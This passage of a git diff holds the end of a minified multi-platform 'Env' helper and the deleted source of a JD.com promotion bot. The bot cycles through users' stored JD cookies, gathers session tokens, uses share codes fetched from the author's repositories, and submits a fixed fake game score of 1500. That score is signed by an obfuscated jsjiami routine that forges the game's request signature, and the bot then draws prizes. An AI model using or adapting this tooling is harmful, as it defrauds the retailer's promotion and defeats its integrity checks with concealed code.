Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_iqoo_run.js b/backUp/jd_iqoo_run.js deleted file mode 100644 index 239168d..0000000 --- a/backUp/jd_iqoo_run.js +++ /dev/null @@ -1,546 +0,0 @@ -/** - * 写着玩的,没水了,跑个寂寞,有很低的几率抽实物,愿意跑的跑,PS:被菜狗薅干的 - cron 2 12 28-31,1-12 8,9 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_iqoo_run.js - * */ -const $ = new Env('iqoo生而为赢酷跑'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - let res = []; - try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/iqooCode.json');}catch (e) {} - if(!res){ - try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/iqooCode.json');}catch (e) {} - if(!res){res = [{"id":"902082602","uid":""},{"id":"902082601","uid":""}];} - } - if(res.length === 0){console.log(`获取活动列表失败`)}; - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.oldcookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - for (let j = 0; j < res.length; j++) { - $.activityID = res[j].id; - $.shareUuid = res[j].uid; - console.log(`\n活动ID:`+ $.activityID); - await main(); - await $.wait(1000); - } - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}); - -async function main() { - $.token = ``; - $.pin = ``; - $.LZ_TOKEN_KEY = ''; - $.LZ_TOKEN_VALUE = ''; - $.lz_jdpin_token = ''; - await getToken(); - if ($.token === ``) {console.log(`获取token失败`);return;} - console.log(`token:${$.token}`); - await getWxCommonInfoToken(); - if(!$.LZ_TOKEN_KEY || !$.LZ_TOKEN_VALUE){ - console.log(`初始化失败`);return; - } - await $.wait(1000); - $.shopId = ``; - await takePostRequest('getSimpleActInfoVo'); - if ($.shopid === ``) {console.log(`获取shopid失败`);return;} - console.log(`shopid:${$.shopid}`) - await $.wait(1000); - $.pin = ''; - await getMyPing(); - if ($.pin === ``) {$.hotFlag = true;console.log(`获取pin失败,该账号可能是黑号`);return;} - await $.wait(1000); - await accessLogWithAD(); - await $.wait(1000); - await $.wait(1000); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - await getHtml(); - $.activityData = {}; - await takePostRequest('activityContent'); - if (JSON.stringify($.activityData) === `{}`) {console.log(`获取活动详情失败`);return;} - console.log(`获取活动详情成功`); - $.uid = $.activityData.uid; - console.log(`助力码:`+$.uid); - if($.shareUuid !== '' && $.activityData.openCardStatus === 0){ - //await takePostRequest('myfriends'); - //await $.wait(2000); - console.log(`执行助力`); - await takePostRequest('helpFriend'); - await $.wait(2000); - } - console.log(`执行一次游戏`); - $.gameToken = ''; - await takePostRequest('start'); - if($.gameToken !== ''){ - console.log(`等待30S。。。。`); - await $.wait(30000); - $.endInfo = {} - await takePostRequest('end'); - if($.endInfo){ - console.log(`游戏结束,获得积分:`+$.endInfo.addScore); - if($.endInfo.chance !== 0){ - await $.wait(3000); - console.log(`抽奖`); - //await takePostRequest('myprize'); - //await $.wait(1000); - await takePostRequest('luckydraw'); - } - } - } -} - -async function takePostRequest(type) { - let url = ''; - let body = ``; - switch (type) { - case 'getSimpleActInfoVo': - url = 'https://lzdz-isv.isvjcloud.com/dz/common/getSimpleActInfoVo'; - body = `activityId=${$.activityID}`; - break; - case 'activityContent': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activityContent'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}&picId=`; - break; - case 'start': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/game/start'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - case 'end': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/game/end'; - let reqtime = Date.now(); - let score = 1500; - let gameId = $.gameToken; - let sign = getAA(reqtime,score,gameId) - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&reqtime=${reqtime}&score=${score}&gameId=${gameId}&data=0&sign=${sign}`; - break; - case 'luckydraw': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/luckydraw'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&type=0`; - break; - case 'helpFriend': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/helpFriend'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&shareUuid=${$.shareUuid}`; - break; - case 'myfriends': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/myfriends'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - case 'myprize': - url = 'https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/myprize'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url, body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -var _0xodj='jsjiami.com.v6',_0x2cf9=[_0xodj,'w5dewp3ChcKC','CMOVw4bCiMK3w4fCocKSw5YXwrrCtXvDoMO8N8KKXcOgw7bDo8OKw4oFP8KBw4FYRsOdwq7DnB1s','Mi3DojQ2','yjsqMjkhGiOlamNixqD.Pgczomt.v6=='];(function(_0x2d8f05,_0x4b81bb,_0x4d74cb){var _0x32719f=function(_0x2dc776,_0x362d54,_0x2576f4,_0x5845c1,_0x4fbc7a){_0x362d54=_0x362d54>>0x8,_0x4fbc7a='po';var _0x292610='shift',_0x151bd2='push';if(_0x362d54<_0x2dc776){while(--_0x2dc776){_0x5845c1=_0x2d8f05[_0x292610]();if(_0x362d54===_0x2dc776){_0x362d54=_0x5845c1;_0x2576f4=_0x2d8f05[_0x4fbc7a+'p']();}else if(_0x362d54&&_0x2576f4['replace'](/[yqMkhGOlNxqDPgzt=]/g,'')===_0x362d54){_0x2d8f05[_0x151bd2](_0x5845c1);}}_0x2d8f05[_0x151bd2](_0x2d8f05[_0x292610]());}return 0xa2dff;};return _0x32719f(++_0x4b81bb,_0x4d74cb)>>_0x4b81bb^_0x4d74cb;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x50b579,_0x1a4950){_0x50b579=~~'0x'['concat'](_0x50b579);var _0x4606cd=_0x2cf9[_0x50b579];if(_0x5108['KTjaYN']===undefined){(function(){var _0xe884da=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x5f5d37='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xe884da['atob']||(_0xe884da['atob']=function(_0x4534d8){var _0x345ca1=String(_0x4534d8)['replace'](/=+$/,'');for(var _0x31752b=0x0,_0x14d268,_0x5398b5,_0xdbc588=0x0,_0x2d4af6='';_0x5398b5=_0x345ca1['charAt'](_0xdbc588++);~_0x5398b5&&(_0x14d268=_0x31752b%0x4?_0x14d268*0x40+_0x5398b5:_0x5398b5,_0x31752b++%0x4)?_0x2d4af6+=String['fromCharCode'](0xff&_0x14d268>>(-0x2*_0x31752b&0x6)):0x0){_0x5398b5=_0x5f5d37['indexOf'](_0x5398b5);}return _0x2d4af6;});}());var _0x416a36=function(_0x100e54,_0x1a4950){var _0x40a0d0=[],_0x351dd5=0x0,_0x275161,_0x22469d='',_0x58634e='';_0x100e54=atob(_0x100e54);for(var _0x5cda73=0x0,_0x47d4f6=_0x100e54['length'];_0x5cda73<_0x47d4f6;_0x5cda73++){_0x58634e+='%'+('00'+_0x100e54['charCodeAt'](_0x5cda73)['toString'](0x10))['slice'](-0x2);}_0x100e54=decodeURIComponent(_0x58634e);for(var _0x2f48ed=0x0;_0x2f48ed<0x100;_0x2f48ed++){_0x40a0d0[_0x2f48ed]=_0x2f48ed;}for(_0x2f48ed=0x0;_0x2f48ed<0x100;_0x2f48ed++){_0x351dd5=(_0x351dd5+_0x40a0d0[_0x2f48ed]+_0x1a4950['charCodeAt'](_0x2f48ed%_0x1a4950['length']))%0x100;_0x275161=_0x40a0d0[_0x2f48ed];_0x40a0d0[_0x2f48ed]=_0x40a0d0[_0x351dd5];_0x40a0d0[_0x351dd5]=_0x275161;}_0x2f48ed=0x0;_0x351dd5=0x0;for(var _0x15b967=0x0;_0x15b967<_0x100e54['length'];_0x15b967++){_0x2f48ed=(_0x2f48ed+0x1)%0x100;_0x351dd5=(_0x351dd5+_0x40a0d0[_0x2f48ed])%0x100;_0x275161=_0x40a0d0[_0x2f48ed];_0x40a0d0[_0x2f48ed]=_0x40a0d0[_0x351dd5];_0x40a0d0[_0x351dd5]=_0x275161;_0x22469d+=String['fromCharCode'](_0x100e54['charCodeAt'](_0x15b967)^_0x40a0d0[(_0x40a0d0[_0x2f48ed]+_0x40a0d0[_0x351dd5])%0x100]);}return _0x22469d;};_0x5108['WIeiSn']=_0x416a36;_0x5108['TdXuZs']={};_0x5108['KTjaYN']=!![];}var _0x730a38=_0x5108['TdXuZs'][_0x50b579];if(_0x730a38===undefined){if(_0x5108['EnDiiL']===undefined){_0x5108['EnDiiL']=!![];}_0x4606cd=_0x5108['WIeiSn'](_0x4606cd,_0x1a4950);_0x5108['TdXuZs'][_0x50b579]=_0x4606cd;}else{_0x4606cd=_0x730a38;}return _0x4606cd;};function getAA(_0x2ac542,_0x557cf9,_0x1dc011){var _0x22ebd6={'hPswk':function(_0x7caabe,_0x4f856b){return _0x7caabe+_0x4f856b;},'AShns':function(_0x3284d6,_0x2c8265){return _0x3284d6+_0x2c8265;},'ehytr':function(_0x5cea1f,_0x3a006f){return _0x5cea1f+_0x3a006f;},'YdjND':function(_0x5cbae7,_0x521dd2){return _0x5cbae7(_0x521dd2);}};let _0x210b66=_0x22ebd6[_0x5108('0','j96*')](_0x22ebd6[_0x5108('1','H]K5')](_0x22ebd6['ehytr'](_0x1dc011,',')+_0x2ac542+',',_0x557cf9),_0x5108('2','nEH7'));return _0x22ebd6['YdjND'](AA,_0x210b66);};_0xodj='jsjiami.com.v6'; -function dealReturn(type, data) { - try { - data = JSON.parse(data); - } catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - $.canRun = false; - } - switch (type) { - case 'getSimpleActInfoVo': - if (data.result) { - $.shopid = data.data.venderId; - } - break; - case 'activityContent': - if (data.data && data.result && data.count === 0) { - $.activityData = data.data; - } else { - console.log(JSON.stringify(data)); - } - break; - case 'start': - if (data.data){ - $.gameToken = data.data; - }else{ - console.log(JSON.stringify(data)); - } - return; - case 'end': - if (data.data){ - $.endInfo = data.data; - }else{ - console.log(JSON.stringify(data)); - } - return; - case 'luckydraw': - case 'helpFriend': - case 'myfriends': - case 'myprize': - console.log(JSON.stringify(data)); - return; - default: - console.log(JSON.stringify(data)); - } -} -async function getUserInfo() { - const url = `https://lzdz-isv.isvjcloud.com/wxActionCommon/getUserInfo`; - const body = `pin=${encodeURIComponent($.pin)}`; - let myRequest = getPostRequest(url, body); - return new Promise(resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - } - else { - if(data){ - data = JSON.parse(data); - if(data.count === 0 && data.result){ - $.attrTouXiang = data.data.yunMidImageUrl - != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - } - } - } - } catch (e) { - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} -function accessLogWithAD() { - let pageurl = `https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}&shareUuid=${$.shareUuid}` - console.log(`活动地址:`+pageurl); - let body = `venderId=${$.shopid}&code=99&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=${encodeURIComponent(pageurl)}&subType=app&adSource=null` - let url=`https://lzdz-isv.isvjcloud.com/common/accessLogWithAD`; - let myRequest = getPostRequest(url, body); - return new Promise(resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - if(setcookie){ - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function getMyPing() { - let url = 'https://lzdz-isv.isvjcloud.com/customer/getMyPing'; - let body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; - let myRequest = getPostRequest(url, body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - let setcookie = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - if(setcookie){ - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - try { - data = JSON.parse(data); - } catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - $.canRun = false; - } - if (data.data && data.data.secretPin) { - $.pin = data.data.secretPin - $.nickname = data.data.nickname - } else { - console.log(JSON.stringify(data)); - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getPostRequest(url, body) { - const headers = { - 'X-Requested-With' : `XMLHttpRequest`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Content-Type' : `application/x-www-form-urlencoded`, - 'Origin' : `https://lzdz-isv.isvjcloud.com`, - "User-Agent": $.UA, - 'Cookie': `${$.cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.pin}; ${$.lz_jdpin_token}`, - 'Host' : `lzdz-isv.isvjcloud.com`, - 'Referer' : `https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}&shareUuid=${$.shareUuid}`, - 'Accept-Language' : `zh-cn`, - 'Accept' : `application/json` - }; - return {url: url, method: `POST`, headers: headers, body: body}; -} -function getHtml() { - let config ={ - url:`https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}&shareUuid=${$.shareUuid}`, - headers: { - 'Host':'lzdz-isv.isvjcloud.com', - 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cookie': `IsvToken=${$.token};${$.cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.pin}; ${$.lz_jdpin_token}`, - "User-Agent": $.UA, - 'Accept-Language':'zh-cn', - 'Accept-Encoding':'gzip, deflate, br', - 'Connection':'keep-alive' - } - } - return new Promise(resolve => { - $.get(config, (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getWxCommonInfoToken () { - const url = `https://lzdz-isv.isvjcloud.com/wxCommonInfo/token`; - const method = `POST`; - const headers = { - 'X-Requested-With' : `XMLHttpRequest`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Content-Type' : `application/x-www-form-urlencoded`, - 'Origin' : `https://lzdz-isv.isvjcloud.com`, - 'User-Agent' : $.UA, - 'Cookie' : $.cookie, - 'Host' : `lzdz-isv.isvjcloud.com`, - 'Referer' : `https://lzdz-isv.isvjcloud.com/dingzhi/iqoo/zskxj/activity/${$.activityID}?activityId=${$.activityID}`, - 'Accept-Language' : `zh-cn`, - 'Accept' : `application/json` - }; - const body = ``; - const myRequest = {url: url, method: method, headers: headers, body: body}; - return new Promise(resolve => { - $.post(myRequest, async (err, resp, data) => { - try { - let res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY; - if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE; - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`token ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: 'area=2_2830_51828_0&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167802&client=apple&clientVersion=10.1.2&d_brand=apple&d_model=iPhone9%2C2&eid=eidI42470115RDhDRjM1NjktODdGQi00RQ%3D%3DB3mSBu%2BcGp7WhKUUyye8/kqi1lxzA3Dv6a89ttwC7YFdT6JFByyAtAfO0TOmN9G2os20ud7RosfkMq80&isBackground=N&joycious=94&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=5a8a5743a5d2a4110a8ed396bb047471ea120c6a&osVersion=14.6&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=d74c43486b7a3b14ac4de12fdeab8a93&st=1630157006494&sv=101', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // 